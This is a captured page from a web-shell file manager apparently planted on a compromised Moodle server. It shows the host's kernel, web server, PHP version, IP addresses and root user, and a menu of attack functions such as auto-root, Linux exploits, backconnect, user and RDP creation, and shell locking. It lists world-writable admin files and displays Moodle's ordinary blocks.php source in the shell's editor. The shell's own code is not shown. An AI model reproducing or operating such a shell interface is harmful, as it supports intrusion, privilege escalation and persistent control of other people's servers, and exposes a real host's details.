Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxrwxrwx
mnet
[ DIR ]
drwxrwxrwx
registration
[ DIR ]
drwxrwxrwx
roles
[ DIR ]
drwxrwxrwx
settings
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
tool
[ DIR ]
drwxrwxrwx
user
[ DIR ]
drwxrwxrwx
webservice
[ DIR ]
drwxrwxrwx
auth.php
2.8
KB
-rwxrwxrwx
auth_config.php
6.79
KB
-rwxrwxrwx
block.php
2.21
KB
-rwxrwxrwx
blocks.php
10.69
KB
-rwxrwxrwx
category.php
5.82
KB
-rwxrwxrwx
courseformats.php
4.91
KB
-rwxrwxrwx
cron.php
3.05
KB
-rwxrwxrwx
editors.php
4.08
KB
-rwxrwxrwx
enrol.php
5.74
KB
-rwxrwxrwx
environment.php
4.15
KB
-rwxrwxrwx
environment.xml
32.61
KB
-rwxrwxrwx
filters.php
10.66
KB
-rwxrwxrwx
handlevirus.php
4.83
KB
-rwxrwxrwx
index.php
20.25
KB
-rwxrwxrwx
lib.php
1.31
KB
-rwxrwxrwx
licenses.php
1.53
KB
-rwxrwxrwx
localplugins.php
3.77
KB
-rwxrwxrwx
mailout-debugger.php
2.21
KB
-rwxrwxrwx
message.php
3.48
KB
-rwxrwxrwx
modules.php
7.52
KB
-rwxrwxrwx
oacleanup.php
6.7
KB
-rwxrwxrwx
oauth2callback.php
1.66
KB
-rwxrwxrwx
phpinfo.php
0
B
-rwxrwxrwx
plagiarism.php
4.28
KB
-rwxrwxrwx
plugins.php
6.43
KB
-rwxrwxrwx
portfolio.php
8.6
KB
-rwxrwxrwx
process_email.php
1.74
KB
-rwxrwxrwx
purgecaches.php
2.27
KB
-rwxrwxrwx
qbehaviours.php
10.9
KB
-rwxrwxrwx
qtypes.php
11.31
KB
-rwxrwxrwx
renderer.php
63.01
KB
-rwxrwxrwx
reports.php
4.67
KB
-rwxrwxrwx
repository.php
16.12
KB
-rwxrwxrwx
repositoryinstance.php
5.67
KB
-rwxrwxrwx
resetemoticons.php
1.65
KB
-rwxrwxrwx
search.php
1.82
KB
-rwxrwxrwx
settings.php
4.66
KB
-rwxrwxrwx
timezone.php
1.65
KB
-rwxrwxrwx
tools.php
4.68
KB
-rwxrwxrwx
upgradesettings.php
2.34
KB
-rwxrwxrwx
user.php
17.31
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : blocks.php
<?php // Allows the admin to configure blocks (hide/show, delete and configure) require_once('../config.php'); require_once($CFG->libdir.'/adminlib.php'); require_once($CFG->libdir.'/tablelib.php'); admin_externalpage_setup('manageblocks'); $confirm = optional_param('confirm', 0, PARAM_BOOL); $hide = optional_param('hide', 0, PARAM_INT); $show = optional_param('show', 0, PARAM_INT); $delete = optional_param('delete', 0, PARAM_INT); $unprotect = optional_param('unprotect', 0, PARAM_INT); $protect = optional_param('protect', 0, PARAM_INT); /// Print headings $strmanageblocks = get_string('manageblocks'); $strdelete = get_string('delete'); $strversion = get_string('version'); $strhide = get_string('hide'); $strshow = get_string('show'); $strsettings = get_string('settings'); $strcourses = get_string('blockinstances', 'admin'); $strname = get_string('name'); $strshowblockcourse = get_string('showblockcourse'); $strprotecthdr = get_string('blockprotect', 'admin'). $OUTPUT->help_icon('blockprotect','admin'); $strprotect = get_string('blockprotect', 'admin'); $strunprotect = get_string('blockunprotect', 'admin'); // Purge all caches related to blocks administration. cache::make('core', 'plugininfo_block')->purge(); /// If data submitted, then process and store. if (!empty($hide) && confirm_sesskey()) { if (!$block = $DB->get_record('block', array('id'=>$hide))) { print_error('blockdoesnotexist', 'error'); } $DB->set_field('block', 'visible', '0', array('id'=>$block->id)); // Hide block admin_get_root(true, false); // settings not required - only pages } if (!empty($show) && confirm_sesskey() ) { if (!$block = $DB->get_record('block', array('id'=>$show))) { print_error('blockdoesnotexist', 'error'); } $DB->set_field('block', 'visible', '1', array('id'=>$block->id)); // Show block admin_get_root(true, false); // settings not required - only pages } if (!isset($CFG->undeletableblocktypes) || (!is_array($CFG->undeletableblocktypes) && !is_string($CFG->undeletableblocktypes))) { $undeletableblocktypes = array('navigation', 'settings'); } else if (is_string($CFG->undeletableblocktypes)) { $undeletableblocktypes = explode(',', $CFG->undeletableblocktypes); } else { $undeletableblocktypes = $CFG->undeletableblocktypes; } if (!empty($protect) && confirm_sesskey()) { if (!$block = $DB->get_record('block', array('id'=>$protect))) { print_error('blockdoesnotexist', 'error'); } if (!in_array($block->name, $undeletableblocktypes)) { $undeletableblocktypes[] = $block->name; set_config('undeletableblocktypes', implode(',', $undeletableblocktypes)); } admin_get_root(true, false); // settings not required - only pages } if (!empty($unprotect) && confirm_sesskey()) { if (!$block = $DB->get_record('block', array('id'=>$unprotect))) { print_error('blockdoesnotexist', 'error'); } if (in_array($block->name, $undeletableblocktypes)) { $undeletableblocktypes = array_diff($undeletableblocktypes, array($block->name)); set_config('undeletableblocktypes', implode(',', $undeletableblocktypes)); } admin_get_root(true, false); // settings not required - only pages } if (!empty($delete) && confirm_sesskey()) { echo $OUTPUT->header(); echo $OUTPUT->heading($strmanageblocks); if (!$block = blocks_get_record($delete)) { print_error('blockdoesnotexist', 'error'); } if (get_string_manager()->string_exists('pluginname', "block_$block->name")) { $strblockname = get_string('pluginname', "block_$block->name"); } else { $strblockname = $block->name; } if (!$confirm) { echo $OUTPUT->confirm(get_string('blockdeleteconfirm', '', $strblockname), 'blocks.php?delete='.$block->id.'&confirm=1', 'blocks.php'); echo $OUTPUT->footer(); exit; } else { uninstall_plugin('block', $block->name); $a = new stdClass(); $a->block = $strblockname; $a->directory = $CFG->dirroot.'/blocks/'.$block->name; notice(get_string('blockdeletefiles', '', $a), 'blocks.php'); } } echo $OUTPUT->header(); echo $OUTPUT->heading($strmanageblocks); /// Main display starts here /// Get and sort the existing blocks if (!$blocks = $DB->get_records('block', array(), 'name ASC')) { print_error('noblocks', 'error'); // Should never happen } $incompatible = array(); /// Print the table of all blocks $table = new flexible_table('admin-blocks-compatible'); $table->define_columns(array('name', 'instances', 'version', 'hideshow', 'undeletable', 'delete', 'settings')); $table->define_headers(array($strname, $strcourses, $strversion, $strhide.'/'.$strshow, $strprotecthdr, $strdelete, $strsettings)); $table->define_baseurl($CFG->wwwroot.'/'.$CFG->admin.'/blocks.php'); $table->set_attribute('class', 'admintable blockstable generaltable'); $table->set_attribute('id', 'compatibleblockstable'); $table->setup(); $tablerows = array(); // Sort blocks using current locale. $blocknames = array(); foreach ($blocks as $blockid=>$block) { $blockname = $block->name; if (file_exists("$CFG->dirroot/blocks/$blockname/block_$blockname.php")) { $blocknames[$blockid] = get_string('pluginname', 'block_'.$blockname); } else { $blocknames[$blockid] = $blockname; } } collatorlib::asort($blocknames); foreach ($blocknames as $blockid=>$strblockname) { $block = $blocks[$blockid]; $blockname = $block->name; if (!file_exists("$CFG->dirroot/blocks/$blockname/block_$blockname.php")) { $blockobject = false; $strblockname = '<span class="notifyproblem">'.$strblockname.' ('.get_string('missingfromdisk').')</span>'; $plugin = new stdClass(); $plugin->version = $block->version; } else { $plugin = new stdClass(); $plugin->version = '???'; if (file_exists("$CFG->dirroot/blocks/$blockname/version.php")) { include("$CFG->dirroot/blocks/$blockname/version.php"); } if (!$blockobject = block_instance($block->name)) { $incompatible[] = $block; continue; } } $delete = '<a href="blocks.php?delete='.$blockid.'&sesskey='.sesskey().'">'.$strdelete.'</a>'; $settings = ''; // By default, no configuration if ($blockobject and $blockobject->has_config()) { $blocksettings = admin_get_root()->locate('blocksetting' . $block->name); if ($blocksettings instanceof admin_externalpage) { $settings = '<a href="' . $blocksettings->url . '">' . get_string('settings') . '</a>'; } else if ($blocksettings instanceof admin_settingpage) { $settings = '<a href="'.$CFG->wwwroot.'/'.$CFG->admin.'/settings.php?section=blocksetting'.$block->name.'">'.$strsettings.'</a>'; } else { $settings = '<a href="block.php?block='.$blockid.'">'.$strsettings.'</a>'; } } // MDL-11167, blocks can be placed on mymoodle, or the blogs page // and it should not show up on course search page $totalcount = $DB->count_records('block_instances', array('blockname'=>$blockname)); $count = $DB->count_records('block_instances', array('blockname'=>$blockname, 'pagetypepattern'=>'course-view-*')); if ($count>0) { $blocklist = "<a href=\"{$CFG->wwwroot}/course/search.php?blocklist=$blockid&sesskey=".sesskey()."\" "; $blocklist .= "title=\"$strshowblockcourse\" >$totalcount</a>"; } else { $blocklist = "$totalcount"; } $class = ''; // Nothing fancy, by default if (!$blockobject) { // ignore $visible = ''; } else if ($blocks[$blockid]->visible) { $visible = '<a href="blocks.php?hide='.$blockid.'&sesskey='.sesskey().'" title="'.$strhide.'">'. '<img src="'.$OUTPUT->pix_url('t/hide') . '" class="iconsmall" alt="'.$strhide.'" /></a>'; } else { $visible = '<a href="blocks.php?show='.$blockid.'&sesskey='.sesskey().'" title="'.$strshow.'">'. '<img src="'.$OUTPUT->pix_url('t/show') . '" class="iconsmall" alt="'.$strshow.'" /></a>'; $class = ' class="dimmed_text"'; // Leading space required! } if ($block->version == $plugin->version) { $version = $block->version; } else { $version = "$block->version ($plugin->version)"; } if (!$blockobject) { // ignore $undeletable = ''; } else if (in_array($blockname, $undeletableblocktypes)) { $undeletable = '<a href="blocks.php?unprotect='.$blockid.'&sesskey='.sesskey().'" title="'.$strunprotect.'">'. '<img src="'.$OUTPUT->pix_url('t/unlock') . '" class="iconsmall" alt="'.$strunprotect.'" /></a>'; } else { $undeletable = '<a href="blocks.php?protect='.$blockid.'&sesskey='.sesskey().'" title="'.$strprotect.'">'. '<img src="'.$OUTPUT->pix_url('t/lock') . '" class="iconsmall" alt="'.$strprotect.'" /></a>'; } $row = array( '<span'.$class.'>'.$strblockname.'</span>', $blocklist, '<span'.$class.'>'.$version.'</span>', $visible, $undeletable, $delete, $settings ); $table->add_data($row); } $table->print_html(); if (!empty($incompatible)) { echo $OUTPUT->heading(get_string('incompatibleblocks', 'blockstable', 'admin')); $table = new flexible_table('admin-blocks-incompatible'); $table->define_columns(array('block', 'delete')); $table->define_headers(array($strname, $strdelete)); $table->define_baseurl($CFG->wwwroot.'/'.$CFG->admin.'/blocks.php'); $table->set_attribute('class', 'incompatibleblockstable generaltable'); $table->setup(); foreach ($incompatible as $block) { $table->add_data(array( $block->name, '<a href="blocks.php?delete='.$block->id.'&sesskey='.sesskey().'">'.$strdelete.'</a>', )); } $table->print_html(); } echo $OUTPUT->footer();
Close